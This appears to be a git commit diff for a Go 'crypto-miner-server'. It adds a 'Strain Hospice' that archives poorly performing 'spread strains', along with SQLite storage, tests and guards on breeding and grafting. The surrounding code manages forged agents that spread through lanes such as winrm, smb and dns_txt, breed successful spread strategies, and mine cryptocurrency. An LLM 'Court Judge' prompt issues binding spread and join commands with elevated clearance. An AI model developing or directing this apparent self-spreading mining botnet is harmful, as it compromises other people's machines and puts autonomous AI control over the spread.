Add Strain Hospice for graceful low-win strain retirement.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Archive failed epidemiology strains to museum hospice with SQLite persistence, operator/AI/court triggers, breeding and graft guards, topology museum nodes, and Seer plus oath ledger accountability.
This commit is contained in:
@@ -21,6 +21,7 @@ const (
|
||||
CmdSpreadGraft = "spread_graft"
|
||||
CmdPersonaTweak = "persona_tweak"
|
||||
CmdEnableErasure = "enable_erasure"
|
||||
CmdStrainHospice = "strain_hospice"
|
||||
CmdNoop = "noop"
|
||||
)
|
||||
|
||||
@@ -38,6 +39,7 @@ var knownCommands = map[string]bool{
|
||||
CmdSpreadGraft: true,
|
||||
CmdPersonaTweak: true,
|
||||
CmdEnableErasure: true,
|
||||
CmdStrainHospice: true,
|
||||
CmdNoop: true,
|
||||
}
|
||||
|
||||
|
||||
@@ -182,7 +182,8 @@ func BuildCourtChamberJudgePrompt(snap AgentSnapshot, prosecutor, defender, judg
|
||||
system.WriteString(strings.TrimSpace(`You are the AetherForge Court Judge (L4 clearance) for the operator's own stuck fleet hosts.
|
||||
The adversarial chamber has concluded. PROSECUTOR and PUBLIC DEFENDER spoke from real fleet telemetry only.
|
||||
You must weigh their statements and issue a binding verdict with at most 3 commands.
|
||||
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, skip_tier, stage_fetch, set_agent_version, noop.
|
||||
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, skip_tier, stage_fetch, set_agent_version, strain_hospice, noop.
|
||||
strain_hospice args: strain_id (string, optional) — retire a chronic low-win spread strain to museum hospice; omit to retire this agent's spread_strain.
|
||||
spread_retry_lane args: lane (string), optional data/manifest for staging lanes (bits_curl, do_peer, dns_txt, …).
|
||||
skip_tier args: tier (string) or skip_tiers (array) — merged into reorder_tiers on dispatch.
|
||||
Court-ordered spread_retry_lane and skip_tier execute with L4 clearance.
|
||||
|
||||
@@ -100,7 +100,7 @@ func ResolveSkipTier(args map[string]interface{}) Command {
|
||||
// CourtCommandNeedsRetryElevation reports commands that require L4 before court-ordered retry.
|
||||
func CourtCommandNeedsRetryElevation(cmd Command) bool {
|
||||
switch cmd.Type {
|
||||
case CmdSpreadRetryLane, CmdSkipTier, CmdDiscoverAndJoin, CmdStageFetch, CmdReorderTiers, CmdSpreadGraft:
|
||||
case CmdSpreadRetryLane, CmdSkipTier, CmdDiscoverAndJoin, CmdStageFetch, CmdReorderTiers, CmdSpreadGraft, CmdStrainHospice:
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
|
||||
@@ -115,6 +115,15 @@ func (h *WSHub) ApproveFleetGraft(sourceID, targetID string) (strategy.GraftPoli
|
||||
if joinLane == "" {
|
||||
return strategy.GraftPolicy{}, fmt.Errorf("source agent has no tier-success join_lane")
|
||||
}
|
||||
sourceStrain := strategy.NormalizeStrainID(source.SpreadStrain)
|
||||
if sourceStrain == "" {
|
||||
sourceStrain = strategy.StrainFromSpreadLane(joinLane)
|
||||
}
|
||||
if inHospice, err := h.db.IsStrainInHospice(sourceStrain); err != nil {
|
||||
return strategy.GraftPolicy{}, err
|
||||
} else if inHospice {
|
||||
return strategy.GraftPolicy{}, fmt.Errorf("source strain is in hospice (museum archive)")
|
||||
}
|
||||
hr := h.AgentMiningHashrate(targetID)
|
||||
if hr <= 0 {
|
||||
hr = target.MiningHashrate
|
||||
|
||||
@@ -28,6 +28,10 @@ type ServerPolicy struct {
|
||||
ErasureLanesEnabled bool
|
||||
// FleetTorrentEnabled enables fleet-wide shard DHT gossip and torrent manifests.
|
||||
FleetTorrentEnabled bool
|
||||
// StrainHospiceWinRateThreshold auto-retires strains below this win rate when AI control is on.
|
||||
StrainHospiceWinRateThreshold float64
|
||||
// StrainHospiceMinAttempts is minimum spread outcomes before AI auto-hospice applies.
|
||||
StrainHospiceMinAttempts int
|
||||
}
|
||||
|
||||
// TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.
|
||||
|
||||
183
server/internal/api/strain_hospice_test.go
Normal file
183
server/internal/api/strain_hospice_test.go
Normal file
@@ -0,0 +1,183 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
fleetai "crypto-miner-server/internal/ai"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
func TestPostStrainHospiceOperatorRetirement(t *testing.T) {
|
||||
fh, database, hub, _ := newTestFleetHandler(t)
|
||||
|
||||
strain := strategy.StrainFromSpreadLane("winrm")
|
||||
cardJSON := `{"id":"c1","spread_strain":"` + strain + `","wins":["docker"],"losses":["wsl","winrm"]}`
|
||||
_, err := database.UpsertStrainCard("root-1", "agent-1", []byte(cardJSON), db.StoredStrainCard{
|
||||
SpreadStrain: strain, SpreadLane: "winrm", Persona: "aggressive",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
body, _ := json.Marshal(map[string]string{
|
||||
"strain_id": strain,
|
||||
"reason": "dozens of variations that don't work",
|
||||
})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/strain-hospice", bytes.NewReader(body))
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
w := httptest.NewRecorder()
|
||||
fh.PostStrainHospice(w, req)
|
||||
if w.Code != http.StatusOK {
|
||||
t.Fatalf("status=%d body=%s", w.Code, w.Body.String())
|
||||
}
|
||||
|
||||
ok, err := database.IsStrainInHospice(strain)
|
||||
if err != nil || !ok {
|
||||
t.Fatalf("strain not in hospice: ok=%v err=%v", ok, err)
|
||||
}
|
||||
rec, err := database.GetStrainHospice(strain)
|
||||
if err != nil || rec.RetiredBy != string(strategy.StrainRetiredByOperator) {
|
||||
t.Fatalf("record=%+v err=%v", rec, err)
|
||||
}
|
||||
if !strings.Contains(rec.CardJSON, `"wins"`) {
|
||||
t.Fatalf("lineage card not preserved: %s", rec.CardJSON)
|
||||
}
|
||||
|
||||
rows, err := database.ListOathLedger(5)
|
||||
if err != nil || len(rows) == 0 {
|
||||
t.Fatalf("oath ledger rows=%v err=%v", rows, err)
|
||||
}
|
||||
if rows[0].ActionType != db.OathStrainHospice {
|
||||
t.Fatalf("oath action=%q", rows[0].ActionType)
|
||||
}
|
||||
|
||||
hub.refreshHospiceBreedingCache()
|
||||
reg := hub.breedingRegistry
|
||||
fp := "windows|0|0|0|0|0|127.0.0"
|
||||
_, bred := reg.RecordLaneWinner(strategy.LaneWinnerInput{
|
||||
Fingerprint: fp, SpreadLane: "winrm",
|
||||
TierOrder: []string{"container"}, PeakHashrate: 100,
|
||||
})
|
||||
if bred {
|
||||
t.Fatal("hospice lane should not breed")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPlayStrainCardBlockedInHospice(t *testing.T) {
|
||||
fh, database, hub, _ := newTestFleetHandler(t)
|
||||
strain := strategy.StrainFromSpreadLane("dns_txt")
|
||||
if err := database.RetireStrain(strain, "operator", "test", `{"spread_strain":"`+strain+`"}`); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
agent := &models.Agent{ID: "target", Name: "Target", Status: "online", LastSeen: time.Now().UTC()}
|
||||
if err := database.UpsertAgent(agent); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
cardJSON := `{"id":"card-1","spread_strain":"` + strain + `","persona":"persuasive","tier_order":["dns_txt"]}`
|
||||
id, err := database.UpsertStrainCard("root", "src", []byte(cardJSON), db.StoredStrainCard{
|
||||
SpreadStrain: strain, SpreadLane: "dns_txt",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
_ = hub
|
||||
body, _ := json.Marshal(map[string]string{"agent_id": "target", "card_id": id})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/play-strain-card", bytes.NewReader(body))
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
w := httptest.NewRecorder()
|
||||
fh.PostPlayStrainCard(w, req)
|
||||
if w.Code != http.StatusConflict {
|
||||
t.Fatalf("expected 409, got %d %s", w.Code, w.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestGraftBlockedFromHospiceSource(t *testing.T) {
|
||||
fh, database, hub, _ := newTestFleetHandler(t)
|
||||
hub.SetServerPolicy(ServerPolicy{AIControlEnabled: true, FleetRolesEnabled: true, HashrateGateHPS: 1})
|
||||
|
||||
strain := strategy.StrainFromSpreadLane("winrm")
|
||||
if err := database.RetireStrain(strain, "operator", "test", "{}"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
source := &models.Agent{
|
||||
ID: "src", Name: "Src", Status: "online", JoinLane: "winrm",
|
||||
SpreadStrain: strain, MiningHashrate: 500, LastSeen: time.Now().UTC(),
|
||||
}
|
||||
target := &models.Agent{
|
||||
ID: "tgt", Name: "Tgt", Status: "online", MiningHashrate: 500, LastSeen: time.Now().UTC(),
|
||||
}
|
||||
for _, a := range []*models.Agent{source, target} {
|
||||
if err := database.UpsertAgent(a); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
hub.mu.Lock()
|
||||
hub.agentLiveTelemetry["tgt"] = map[string]interface{}{"mining_hashrate": 500.0}
|
||||
hub.mu.Unlock()
|
||||
|
||||
body, _ := json.Marshal(map[string]string{"source_agent_id": "src", "target_agent_id": "tgt"})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/graft", bytes.NewReader(body))
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
w := httptest.NewRecorder()
|
||||
fh.PostFleetGraft(w, req)
|
||||
var resp map[string]interface{}
|
||||
_ = json.Unmarshal(w.Body.Bytes(), &resp)
|
||||
if resp["success"] == true {
|
||||
t.Fatalf("graft should fail for hospice source: %s", w.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestMaybeAutoRetireLowWinStrains(t *testing.T) {
|
||||
_, database, hub, _ := newTestFleetHandler(t)
|
||||
hub.SetServerPolicy(ServerPolicy{
|
||||
AIControlEnabled: true,
|
||||
StrainHospiceWinRateThreshold: 0.2,
|
||||
StrainHospiceMinAttempts: 3,
|
||||
})
|
||||
strain := "#deadbeef"
|
||||
cardJSON := `{"spread_strain":"` + strain + `","wins":["a"],"losses":["b","c","d","e"]}`
|
||||
_, err := database.UpsertStrainCard("r1", "a1", []byte(cardJSON), db.StoredStrainCard{SpreadStrain: strain})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
hub.MaybeAutoRetireLowWinStrains()
|
||||
ok, err := database.IsStrainInHospice(strain)
|
||||
if err != nil || !ok {
|
||||
t.Fatalf("expected AI auto hospice, ok=%v err=%v", ok, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFleetAIExecutorStrainHospiceCourtCommand(t *testing.T) {
|
||||
_, database, hub, _ := newTestFleetHandler(t)
|
||||
strain := strategy.StrainFromSpreadLane("smb")
|
||||
ag := &models.Agent{
|
||||
ID: "court-agent", Name: "Court", Status: "online",
|
||||
SpreadStrain: strain, JoinLane: "smb", LastSeen: time.Now().UTC(),
|
||||
}
|
||||
if err := database.UpsertAgent(ag); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
exec := &FleetAIExecutor{Hub: hub}
|
||||
sum, err := exec.Execute("court-agent", fleetai.Command{
|
||||
Type: fleetai.CmdStrainHospice,
|
||||
Args: map[string]interface{}{"reason": "court L4 hospice vote"},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(sum, "strain_hospice:") {
|
||||
t.Fatalf("unexpected summary %q", sum)
|
||||
}
|
||||
ok, _ := database.IsStrainInHospice(strain)
|
||||
if !ok {
|
||||
t.Fatal("court command should retire strain")
|
||||
}
|
||||
}
|
||||
@@ -18,6 +18,8 @@ import (
|
||||
"crypto-miner-server/internal/atlas"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/epidemiology"
|
||||
"crypto-miner-server/internal/mining"
|
||||
"crypto-miner-server/internal/miningsurgery"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/pool"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
@@ -175,6 +177,8 @@ type WSHub struct {
|
||||
subnetAutopsies map[string]atlas.SubnetAutopsyPacket
|
||||
subnetGossipWhispers map[string][]atlas.GossipHint
|
||||
epidemiology *epidemiology.Tracker
|
||||
miningSurgery *miningsurgery.Tracker
|
||||
contingencyOrch *mining.ContingencyOrchestrator
|
||||
pingIntervalSec int
|
||||
fleetSecret string // baked into forged agents; verified on WS connect
|
||||
eventNotifier *alerts.Notifier
|
||||
@@ -227,6 +231,7 @@ func NewWSHub(database *db.Database) *WSHub {
|
||||
agentSubnet: make(map[string]string),
|
||||
breedingRegistry: strategy.NewBreedingRegistry(),
|
||||
epidemiology: epidemiology.NewTracker(),
|
||||
miningSurgery: miningsurgery.NewTracker(),
|
||||
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
|
||||
beaconLastSeen: make(map[string]time.Time),
|
||||
beaconCmdQueue: make(map[string][]BeaconCommand),
|
||||
@@ -234,6 +239,9 @@ func NewWSHub(database *db.Database) *WSHub {
|
||||
pingIntervalSec: 30,
|
||||
}
|
||||
h.clearance = NewClearanceManager(h)
|
||||
if database != nil {
|
||||
h.refreshHospiceBreedingCache()
|
||||
}
|
||||
|
||||
// Background stale-agent sweep:
|
||||
// 3 minutes old but the row still says "online", force it offline.
|
||||
@@ -1034,6 +1042,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
}
|
||||
h.attachEpidemiologyFix(resp, agentID)
|
||||
h.attachMiningSelfSurgery(resp, agentID)
|
||||
h.attachContingencyPolicy(resp)
|
||||
return resp
|
||||
}())})
|
||||
|
||||
@@ -1166,6 +1176,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
ParentAgentID string `json:"parent_agent_id,omitempty"`
|
||||
SpreadGeneration int `json:"spread_generation,omitempty"`
|
||||
SpreadStrain string `json:"spread_strain,omitempty"`
|
||||
ContingencyDepth int `json:"contingency_depth,omitempty"`
|
||||
FleetRole string `json:"fleet_role,omitempty"`
|
||||
SeedPressure float64 `json:"seed_pressure,omitempty"`
|
||||
HashratePressure float64 `json:"hashrate_pressure,omitempty"`
|
||||
@@ -1338,6 +1349,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
if stats.SpreadStrain != "" {
|
||||
broadcast["spread_strain"] = stats.SpreadStrain
|
||||
}
|
||||
if stats.ContingencyDepth > 0 {
|
||||
broadcast["contingency_depth"] = stats.ContingencyDepth
|
||||
}
|
||||
if stats.FleetRole != "" {
|
||||
broadcast["fleet_role"] = stats.FleetRole
|
||||
}
|
||||
@@ -1418,6 +1432,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
})
|
||||
}
|
||||
h.observeEpidemiologyFromStats(agentID, epiStats)
|
||||
h.observeMiningSelfSurgeryFromStats(agentID, epiStats)
|
||||
h.queueStatsBroadcast(broadcast)
|
||||
|
||||
case "scout_report":
|
||||
@@ -1649,6 +1664,18 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
h.ingestStrategyFromPayload(agentID, payload)
|
||||
h.queueStatsBroadcast(payload)
|
||||
|
||||
case "self_surgery_report":
|
||||
if agentID == "" {
|
||||
continue
|
||||
}
|
||||
h.handleSelfSurgeryReport(agentID, msg.Payload)
|
||||
|
||||
case "onion_miner_log":
|
||||
if agentID == "" {
|
||||
continue
|
||||
}
|
||||
h.handleOnionMinerLog(agentID, msg.Payload)
|
||||
|
||||
case "atlas_gossip":
|
||||
if agentID == "" {
|
||||
continue
|
||||
|
||||
@@ -270,6 +270,12 @@ func (d *Database) migrate() error {
|
||||
if err := d.ensureStrainMemoryTable(); err != nil {
|
||||
return fmt.Errorf("strain_memory migration: %w", err)
|
||||
}
|
||||
if err := d.ensureStrainHospiceTable(); err != nil {
|
||||
return fmt.Errorf("strain_hospice migration: %w", err)
|
||||
}
|
||||
if err := d.ensureOathLedgerTable(); err != nil {
|
||||
return fmt.Errorf("oath_ledger migration: %w", err)
|
||||
}
|
||||
if err := d.ensureSeerTables(); err != nil {
|
||||
return fmt.Errorf("seer migration: %w", err)
|
||||
}
|
||||
|
||||
177
server/internal/db/strain_hospice.go
Normal file
177
server/internal/db/strain_hospice.go
Normal file
@@ -0,0 +1,177 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"errors"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// StrainHospiceRecord is a retired spread strain preserved for museum read-only lineage.
|
||||
type StrainHospiceRecord struct {
|
||||
StrainID string
|
||||
RetiredAt time.Time
|
||||
RetiredBy string
|
||||
Reason string
|
||||
CardJSON string
|
||||
}
|
||||
|
||||
func (d *Database) ensureStrainHospiceTable() error {
|
||||
_, err := d.Exec(`CREATE TABLE IF NOT EXISTS strain_hospice (
|
||||
strain_id TEXT PRIMARY KEY,
|
||||
retired_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
retired_by TEXT NOT NULL,
|
||||
reason TEXT NOT NULL DEFAULT '',
|
||||
card_json TEXT NOT NULL DEFAULT '{}'
|
||||
)`)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_strain_hospice_retired_at ON strain_hospice(retired_at)`)
|
||||
return nil
|
||||
}
|
||||
|
||||
// RetireStrain archives a strain to hospice (idempotent).
|
||||
func (d *Database) RetireStrain(strainID, retiredBy, reason, cardJSON string) error {
|
||||
if d == nil {
|
||||
return errors.New("database unavailable")
|
||||
}
|
||||
strainID = normalizeStrainID(strainID)
|
||||
if strainID == "" {
|
||||
return errors.New("strain_id required")
|
||||
}
|
||||
retiredBy = strings.TrimSpace(retiredBy)
|
||||
if retiredBy == "" {
|
||||
return errors.New("retired_by required")
|
||||
}
|
||||
if strings.TrimSpace(cardJSON) == "" {
|
||||
cardJSON = "{}"
|
||||
}
|
||||
now := time.Now().UTC().Format(time.RFC3339)
|
||||
_, err := d.Exec(
|
||||
`INSERT INTO strain_hospice (strain_id, retired_at, retired_by, reason, card_json)
|
||||
VALUES (?, ?, ?, ?, ?)
|
||||
ON CONFLICT(strain_id) DO NOTHING`,
|
||||
strainID, now, retiredBy, strings.TrimSpace(reason), cardJSON,
|
||||
)
|
||||
return err
|
||||
}
|
||||
|
||||
// IsStrainInHospice reports whether a strain is archived.
|
||||
func (d *Database) IsStrainInHospice(strainID string) (bool, error) {
|
||||
if d == nil {
|
||||
return false, nil
|
||||
}
|
||||
strainID = normalizeStrainID(strainID)
|
||||
if strainID == "" {
|
||||
return false, nil
|
||||
}
|
||||
var n int
|
||||
err := d.QueryRow(`SELECT 1 FROM strain_hospice WHERE strain_id = ? LIMIT 1`, strainID).Scan(&n)
|
||||
if errors.Is(err, sql.ErrNoRows) {
|
||||
return false, nil
|
||||
}
|
||||
return err == nil, err
|
||||
}
|
||||
|
||||
// GetStrainHospice returns one hospice row.
|
||||
func (d *Database) GetStrainHospice(strainID string) (*StrainHospiceRecord, error) {
|
||||
strainID = normalizeStrainID(strainID)
|
||||
if strainID == "" {
|
||||
return nil, sql.ErrNoRows
|
||||
}
|
||||
row := d.QueryRow(
|
||||
`SELECT strain_id, retired_at, retired_by, reason, card_json FROM strain_hospice WHERE strain_id = ?`,
|
||||
strainID,
|
||||
)
|
||||
return scanStrainHospice(row)
|
||||
}
|
||||
|
||||
// ListStrainHospice returns retired strains newest first.
|
||||
func (d *Database) ListStrainHospice(limit int) ([]StrainHospiceRecord, error) {
|
||||
if limit <= 0 {
|
||||
limit = 100
|
||||
}
|
||||
rows, err := d.Query(
|
||||
`SELECT strain_id, retired_at, retired_by, reason, card_json
|
||||
FROM strain_hospice ORDER BY retired_at DESC LIMIT ?`, limit,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []StrainHospiceRecord
|
||||
for rows.Next() {
|
||||
rec, err := scanStrainHospice(rows)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, *rec)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// HospiceStrainSet returns a lookup set of retired strain ids.
|
||||
func (d *Database) HospiceStrainSet() (map[string]bool, error) {
|
||||
rows, err := d.ListStrainHospice(500)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out := make(map[string]bool, len(rows))
|
||||
for _, r := range rows {
|
||||
out[r.StrainID] = true
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func normalizeStrainID(strain string) string {
|
||||
s := strings.TrimSpace(strings.ToLower(strain))
|
||||
if s == "" {
|
||||
return ""
|
||||
}
|
||||
if !strings.HasPrefix(s, "#") && len(s) == 6 {
|
||||
s = "#" + s
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
type strainHospiceScanner interface {
|
||||
Scan(dest ...interface{}) error
|
||||
}
|
||||
|
||||
func scanStrainHospice(row strainHospiceScanner) (*StrainHospiceRecord, error) {
|
||||
var rec StrainHospiceRecord
|
||||
var retiredAt string
|
||||
if err := row.Scan(&rec.StrainID, &retiredAt, &rec.RetiredBy, &rec.Reason, &rec.CardJSON); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
rec.StrainID = normalizeStrainID(rec.StrainID)
|
||||
rec.RetiredAt = parseSQLiteTime(retiredAt)
|
||||
return &rec, nil
|
||||
}
|
||||
|
||||
// CardJSONForStrain finds lineage card JSON for a strain from strain_cards or hospice.
|
||||
func (d *Database) CardJSONForStrain(strainID string) (string, error) {
|
||||
strainID = normalizeStrainID(strainID)
|
||||
if strainID == "" {
|
||||
return "{}", nil
|
||||
}
|
||||
if rec, err := d.GetStrainHospice(strainID); err == nil && rec != nil && strings.TrimSpace(rec.CardJSON) != "" {
|
||||
return rec.CardJSON, nil
|
||||
}
|
||||
row := d.QueryRow(
|
||||
`SELECT card_json FROM strain_cards WHERE LOWER(spread_strain) = ? ORDER BY peak_hashrate DESC LIMIT 1`,
|
||||
strainID,
|
||||
)
|
||||
var cardJSON string
|
||||
if err := row.Scan(&cardJSON); err != nil {
|
||||
if errors.Is(err, sql.ErrNoRows) {
|
||||
return "{}", nil
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
if strings.TrimSpace(cardJSON) == "" {
|
||||
return "{}", nil
|
||||
}
|
||||
return cardJSON, nil
|
||||
}
|
||||
@@ -44,9 +44,10 @@ type LaneWinnerInput struct {
|
||||
|
||||
// BreedingRegistry tracks lane-specific winners and crossbred siblings per fingerprint.
|
||||
type BreedingRegistry struct {
|
||||
mu sync.RWMutex
|
||||
lanes map[string]map[string]LaneWinner
|
||||
bred map[string]BredPhenotype
|
||||
mu sync.RWMutex
|
||||
lanes map[string]map[string]LaneWinner
|
||||
bred map[string]BredPhenotype
|
||||
hospice map[string]bool
|
||||
}
|
||||
|
||||
func NewBreedingRegistry() *BreedingRegistry {
|
||||
@@ -56,6 +57,25 @@ func NewBreedingRegistry() *BreedingRegistry {
|
||||
}
|
||||
}
|
||||
|
||||
// SetHospiceStrains updates the retired-strain set used to skip breeding parents.
|
||||
func (r *BreedingRegistry) SetHospiceStrains(strains map[string]bool) {
|
||||
if r == nil {
|
||||
return
|
||||
}
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
if len(strains) == 0 {
|
||||
r.hospice = nil
|
||||
return
|
||||
}
|
||||
r.hospice = make(map[string]bool, len(strains))
|
||||
for k, v := range strains {
|
||||
if v {
|
||||
r.hospice[NormalizeStrainID(k)] = true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// RecordLaneWinner stores a lane winner and crossbreeds when two distinct lanes exist.
|
||||
func (r *BreedingRegistry) RecordLaneWinner(in LaneWinnerInput) (BredPhenotype, bool) {
|
||||
fp := strings.TrimSpace(in.Fingerprint)
|
||||
@@ -63,6 +83,9 @@ func (r *BreedingRegistry) RecordLaneWinner(in LaneWinnerInput) (BredPhenotype,
|
||||
if r == nil || fp == "" || lane == "" || len(in.TierOrder) == 0 {
|
||||
return BredPhenotype{}, false
|
||||
}
|
||||
if LaneInHospice(lane, r.hospiceSnapshot()) {
|
||||
return BredPhenotype{}, false
|
||||
}
|
||||
winner := LaneWinner{
|
||||
SpreadLane: lane,
|
||||
TierOrder: append([]string(nil), in.TierOrder...),
|
||||
@@ -81,7 +104,7 @@ func (r *BreedingRegistry) RecordLaneWinner(in LaneWinnerInput) (BredPhenotype,
|
||||
if len(r.lanes[fp]) < 2 {
|
||||
return BredPhenotype{}, false
|
||||
}
|
||||
bred := breedLaneWinners(fp, r.lanes[fp])
|
||||
bred := breedLaneWinners(fp, r.lanes[fp], r.hospice)
|
||||
if len(bred.TierOrder) == 0 {
|
||||
return BredPhenotype{}, false
|
||||
}
|
||||
@@ -115,9 +138,28 @@ func (r *BreedingRegistry) LaneCount(fingerprint string) int {
|
||||
return len(r.lanes[fp])
|
||||
}
|
||||
|
||||
func breedLaneWinners(fingerprint string, lanes map[string]LaneWinner) BredPhenotype {
|
||||
func (r *BreedingRegistry) hospiceSnapshot() map[string]bool {
|
||||
if r == nil {
|
||||
return nil
|
||||
}
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
if len(r.hospice) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make(map[string]bool, len(r.hospice))
|
||||
for k, v := range r.hospice {
|
||||
out[k] = v
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func breedLaneWinners(fingerprint string, lanes map[string]LaneWinner, hospice map[string]bool) BredPhenotype {
|
||||
parents := make([]LaneWinner, 0, len(lanes))
|
||||
for _, w := range lanes {
|
||||
if LaneInHospice(w.SpreadLane, hospice) {
|
||||
continue
|
||||
}
|
||||
parents = append(parents, w)
|
||||
}
|
||||
sort.Slice(parents, func(i, j int) bool {
|
||||
|
||||
94
server/internal/strategy/hospice.go
Normal file
94
server/internal/strategy/hospice.go
Normal file
@@ -0,0 +1,94 @@
|
||||
package strategy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
const (
|
||||
// DefaultHospiceWinRateThreshold retires strains below 15% win rate.
|
||||
DefaultHospiceWinRateThreshold = 0.15
|
||||
// DefaultHospiceMinAttempts requires enough spread outcomes before auto-retire.
|
||||
DefaultHospiceMinAttempts = 5
|
||||
)
|
||||
|
||||
// StrainRetiredBy identifies who sent a strain to hospice.
|
||||
type StrainRetiredBy string
|
||||
|
||||
const (
|
||||
StrainRetiredByOperator StrainRetiredBy = "operator"
|
||||
StrainRetiredByAI StrainRetiredBy = "ai"
|
||||
StrainRetiredByCourt StrainRetiredBy = "court"
|
||||
)
|
||||
|
||||
// StrainSpreadStats aggregates epidemiology wins/losses for one spread strain.
|
||||
type StrainSpreadStats struct {
|
||||
StrainID string
|
||||
Wins int
|
||||
Losses int
|
||||
}
|
||||
|
||||
// NormalizeStrainID lowercases #RRGGBB strain identifiers.
|
||||
func NormalizeStrainID(strain string) string {
|
||||
s := strings.TrimSpace(strings.ToLower(strain))
|
||||
if s == "" {
|
||||
return ""
|
||||
}
|
||||
if !strings.HasPrefix(s, "#") && len(s) == 6 {
|
||||
s = "#" + s
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// StrainFromSpreadLane maps a join/spread lane to its stable strain color id.
|
||||
func StrainFromSpreadLane(lane string) string {
|
||||
if s := NormalizeStrainID(SpreadStrainFromJoinLane(lane)); s != "" {
|
||||
return s
|
||||
}
|
||||
return NormalizeStrainID(lane)
|
||||
}
|
||||
|
||||
// LaneInHospice reports whether a spread/join lane's strain is retired.
|
||||
func LaneInHospice(lane string, hospice map[string]bool) bool {
|
||||
if len(hospice) == 0 {
|
||||
return false
|
||||
}
|
||||
return hospice[StrainFromSpreadLane(lane)]
|
||||
}
|
||||
|
||||
// StrainInHospice reports whether a strain id is in the hospice set.
|
||||
func StrainInHospice(strain string, hospice map[string]bool) bool {
|
||||
if len(hospice) == 0 {
|
||||
return false
|
||||
}
|
||||
return hospice[NormalizeStrainID(strain)]
|
||||
}
|
||||
|
||||
// StrainWinRate returns wins / (wins + losses); 1.0 when no attempts recorded.
|
||||
func StrainWinRate(wins, losses int) float64 {
|
||||
total := wins + losses
|
||||
if total == 0 {
|
||||
return 1.0
|
||||
}
|
||||
return float64(wins) / float64(total)
|
||||
}
|
||||
|
||||
// ShouldAutoRetireStrain is true when AI hospice policy applies to low performers.
|
||||
func ShouldAutoRetireStrain(wins, losses int, threshold float64, minAttempts int) bool {
|
||||
total := wins + losses
|
||||
if total < minAttempts || minAttempts <= 0 {
|
||||
return false
|
||||
}
|
||||
if threshold <= 0 {
|
||||
threshold = DefaultHospiceWinRateThreshold
|
||||
}
|
||||
return StrainWinRate(wins, losses) < threshold
|
||||
}
|
||||
|
||||
// PersonaPrimaryLane returns the first spread lane for a persona preset.
|
||||
func PersonaPrimaryLane(persona string) string {
|
||||
order := PersonaSpreadTierOrder(persona)
|
||||
if len(order) == 0 {
|
||||
return ""
|
||||
}
|
||||
return strings.TrimSpace(order[0])
|
||||
}
|
||||
26
